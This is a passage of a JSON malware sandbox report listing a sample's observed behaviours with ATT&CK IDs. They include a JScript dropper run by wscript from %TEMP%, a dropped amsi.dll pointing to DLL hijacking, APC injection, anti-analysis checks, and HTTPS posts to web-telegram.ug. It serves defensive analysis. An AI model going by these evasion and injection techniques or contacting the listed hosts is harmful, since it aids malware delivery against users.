Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00c200000040c79f7cff7f0000@ntdll.dll\"\n \"22002300c200000018c79f7cff7f0000@ntdll.dll\"\n \"19001a009b00000040c79f7cff7f0000@ntdll.dll\"\n \"220023009b00000018c79f7cff7f0000@ntdll.dll\"\n \"19001a000000000040c79f7cff7f0000@ntdll.dll\"\n \"220023000000000018c79f7cff7f0000@ntdll.dll\"\n \"19001a00e400000040c79f7cff7f0000@ntdll.dll\"\n \"22002300e400000018c79f7cff7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin\" was detected as \"plain text\" and name: \"Format\"\n \"d3dcompiler_47.dll\" was detected as \"plain text\" and name: \"Format\"\n \"ffmpeg.dll\" was detected as \"plain text\" and name: \"Format\"\n \"libEGL.dll\" was detected as \"plain text\" and name: \"Format\"\n \"wscript.exe\" was detected as \"plain text\" and name: \"Format\"\n \"amsi.dll\" was detected as \"plain text\" and name: \"Format\"\n \"_setup64.tmp\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$44","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\wscript.exe\" [Source: 00000000-00002804-00000C2D-4078694750]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$45","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com\"\n \"web-telegram.ug\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$46","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00002804-00000C2A-839823516]\n Observed system executable string:\"%WINDIR%\\system32\\advapi32.dll\" [Source: 00000000-00002804-00000C2A-840150668]\n Observed system executable string:\"%WINDIR%\\system32\\kernel32.dll\" [Source: 00000000-00002804-00000C2A-841340307]\n Observed system executable string:\"%WINDIR%\\system32\\bcrypt.dll\" [Source: 00000000-00005108-00000C2A-894549132]\n Observed system executable string:\"%WINDIR%\\system32\\shell32.dll\" [Source: 00000000-00000952-00000C2A-896000022]\n Observed system executable string:\"%WINDIR%\\system32\\uxtheme.dll\" [Source: 00000000-00000952-00000C2A-896036137]\n Observed system executable string:\"%WINDIR%\\system32\\shfolder.dll\" [Source: 00000000-00000952-00000C2A-896261762]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"Grape.exe\" searching for class \"ApplicationManager_DesktopShellWindow\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"wscript.exe\" with commandline \"//B //E:JScript \"%TEMP%\\\\svc_ylb6ijl1\\\\sw.js\"\" (UID: 00000000-00006836)\n Spawned process \"Utilify_8u8a563i.exe\" (UID: 00000000-00005108)\n Spawned process \"Utilify_8u8a563i.tmp\" with commandline \"/SL5=\"$B024C\n55373157\n893952\n%TEMP%\\\\Utilify_8u8a563i.exe\"\" (UID: 00000000-00000952)\n Spawned process \"Grape.exe\" (UID: 00000000-00004472)\n Spawned process \"Grape.exe\" with commandline \"--type=gpu-process --field-trial-handle=1680,9351082474623949860 ...\" (UID: 00000000-00004092)\n Spawned process \"Grape.exe\" with commandline \"--type=utility --field-trial-handle=1680,9351082474623949860,103 ...\" (UID: 00000000-00004808)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"wscript.exe\" with commandline \"//B //E:JScript \"%TEMP%\\\\svc_ylb6ijl1\\\\sw.js\"\" (UID: 00000000-00006836)\n Spawned process \"Utilify_8u8a563i.exe\" (UID: 00000000-00005108)\n Spawned process \"Utilify_8u8a563i.tmp\" with commandline \"/SL5=\"$B024C\n55373157\n893952\n%TEMP%\\\\Utilify_8u8a563i.exe\"\" (UID: 00000000-00000952)\n Spawned process \"Grape.exe\" (UID: 00000000-00004472)\n Spawned process \"Grape.exe\" with commandline \"--type=gpu-process --field-trial-handle=1680,9351082474623949860 ...\" (UID: 00000000-00004092)\n Spawned process \"Grape.exe\" with commandline \"--type=utility --field-trial-handle=1680,9351082474623949860,103 ...\" (UID: 00000000-00004808)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: 0E:12:6A:72:88:FF:FC:D3:CB:B0:82:9E:1D:E0:3F:A7:12:FB:1C:C1; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"WScript.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\svc_ylb6ijl1\\wscript.exe\"\n \"WScript.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\svc_ylb6ijl1\\amsi.dll\"\n \"WScript.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\svc_ylb6ijl1\\sw.js\"\n \"wscript.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Utilify_8u8a563i.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts to launch the Installer package binary","description":"Process \"Utilify_8u8a563i.tmp\" with commandline \"/SL5=\"$B024C\n55373157\n893952\n%TEMP%\\\\Utilify_8u8a563i.exe\"\" (UID: 00000000-00000952)","origin":"Monitored Target","mitre_attack_id":"T1546.016","relevance":3,"id":"target-670","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"wscript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"Grape.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$47","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"Utilify_8u8a563i.tmp\" has type \"PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections\" - Location: [%TEMP%\\is-97LI8WEXMB.tmp\\Utilify_8u8a563i.tmp]\n \"_setup64.tmp\" has type \"PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections\" - Location: [%TEMP%\\is-XGQS9W3DB7.tmp\\_isetup\\_setup64.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$48","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"$49","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 2804)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"wscript.exe\" called \"NtQueueApcThread\" (UID: 00000000-00006836)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin.js\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\scrrun.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains a Wine emulator-related string\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\wscript.exe\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"WScript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"WScript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"wscript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"wscript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"WScript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\svc_ylb6ijl1\\wscript.exe\"\n \"WScript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\svc_ylb6ijl1\\amsi.dll\"\n \"WScript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\svc_ylb6ijl1\\sw.js\"\n \"WScript.exe\" writes file \"%temp%\\svc_ylb6ijl1\\wscript.exe\"\n \"WScript.exe\" writes file \"%temp%\\svc_ylb6ijl1\\amsi.dll\"\n \"WScript.exe\" writes file \"%temp%\\svc_ylb6ijl1\\sw.js\"\n \"wscript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\utilify_8u8a563i.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"Utilify_8u8a563i.tmp\" writes a file \"%TEMP%\\is-XGQS9W3DB7.tmp\\icudtl.dat\"\n \"Utilify_8u8a563i.tmp\" writes a file \"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\icudtl.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetEnumResourceW\" (Indicator: \"WNetEnumResource\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"WNetGetUniversalNameW\" (Indicator: \"WNetGetUniversalName\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"WNetGetConnection\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"WNetCloseEnum\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve cloud service dashboard","description":"file/memory contains long string(File: \"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin\")","origin":"File/Memory","mitre_attack_id":"T1538","relevance":1,"id":"string-777","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /api/\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Contains reference to OpenSSL library string","description":"Found string \"I--openssl-config\" (Indicator: \"openssl-\"; Source: \"00000000-00004092.00000000.124993.D4240000.00000004.mdmp, 00000000-00004092.00000002.128835.D4240000.00000004.mdmp\")\n Found string \"--use-openssl-ca\" (Indicator: \"openssl-\"; Source: \"00000000-00004092.00000000.124993.D4240000.00000004.mdmp, 00000000-00004092.00000002.128835.D4240000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-494","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"llvm.ctpop.i32\" [Source: 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp]\n Observed email domain:\"llvm.ctpop.i64\" [Source: 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.0.2\"\n Potential IP \"127.0.0.1\" found in string \"activate inspector on host:port (default: 127.0.0.1:9229)\"\n Potential IP \"4.1.0.7\" found in string \"OpenGL ES 3.0 SwiftShader 4.1.0.7\"\n \"4.1.0.7\"\n Potential IP \"4.1.0.7\" found in string \"1.4 SwiftShader 4.1.0.7\"\n \"127.0.0.1\"\n Potential IP \"4.1.0.7\" found in string \"OpenGL ES GLSL ES 3.00 SwiftShader 4.1.0.7\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")\n Found string \"HTTP/1.1 404 Not Found\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://jrsoftware.org\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"web-telegram.ug\" (10 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://localhost:8080\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS POST request to https://web-telegram.ug/api/","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"web-telegram.ug\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"16.15.0.240\" on port \"443\"\n HTTPS traffic to \"104.21.15.2\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"libGLESv2.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-542","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00004092\"\n YARA signature for encryption algorithm process \"00000000-00006836\"\n YARA signature for encryption algorithm file \"d3dcompiler_47.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopIcon\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLED125C1FB9ED44FE926551D2C3012]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; Source: \"00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"function RegGetValueNames(const RootKey: Integer; const SubKeyName: String; var Names: TArrayOfString): Boolean;\" in \"00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp\"\n Found registry query API: 